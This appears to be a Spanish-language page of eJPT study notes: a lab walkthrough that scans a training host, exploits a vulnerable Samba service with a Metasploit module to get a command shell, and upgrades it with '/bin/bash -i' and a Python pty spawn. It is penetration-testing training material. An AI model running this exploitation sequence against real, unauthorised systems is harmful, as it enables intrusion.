> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/shells/actualizacion-de-shells-no-interactivos.md).

# Actualización de shells no interactivos

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/os3bxKwYmN3I3QjGbcnM" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/WgLydBDc7MHbNXG0mYv4" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap.

Para empezar, necesitamos identificar un servicio vulnerable ejecutándose en el sistema objetivo. Esto se puede lograr mediante un análisis de detección de versiones del servicio con Nmap.

**Dominio:**

```
nmap -sV demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela una versión vulnerable de SAMBA que se ejecuta en el puerto 445 y que puede explotarse mediante el uso de un módulo Metasploit.

<figure><img src="/files/43bcoLH4F8CQIv7mhoB0" alt=""><figcaption></figcaption></figure>

**Paso 4:** Obtener acceso.

Para poder utilizar este módulo de exploit, necesitaremos iniciar la Consola de Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
msfconsole
```

<figure><img src="/files/oW9DBcw1llql4aA6cyaU" alt=""><figcaption></figcaption></figure>

Después de iniciar msfconsole, podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use exploit/linux/samba/is_known_pipename
```

<figure><img src="/files/ezBRdiUX4FmDKeKWRCEi" alt=""><figcaption></figcaption></figure>

Ahora tendremos que configurar las opciones del módulo; más específicamente, establecer el objetivo. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set RHOSTS demo.ine.local
```

<figure><img src="/files/0aMC8PFwVX0cMrzMF3G3" alt=""><figcaption></figcaption></figure>

Después de configurar las opciones del módulo, podemos ejecutar el módulo de exploit ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

Como se muestra en la siguiente captura de pantalla, el módulo de explotación se ejecuta con éxito y nos proporciona una sesión de shell de comando en el sistema de destino.

<figure><img src="/files/w8G5W9lVkhpFyhJ80ojT" alt=""><figcaption></figcaption></figure>

Ahora que hemos obtenido acceso al sistema de destino Linux, podemos explorar el proceso de actualización de shells no interactivos.

**Paso 5:** Actualización de shells no interactivos.

Siempre que obtenga acceso al sistema de destino con un shell de comandos no interactivo, se recomienda actualizar el shell para evitar problemas con la entrada y la salida.

La primera técnica implica generar una sesión bash, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
/bin/bash -i
```

<figure><img src="/files/2jDJ8UmdHYZzAjcCgck3" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, esto le proporcionará una sesión bash.

También podemos generar una sesión bash con Python ejecutando el siguiente comando:

**Dominio:**

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="/files/Mq4YSTs5K2MhuYXYrlCI" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, exploramos el proceso de actualización de shells no interactivos en un sistema de destino que ejecuta Linux.
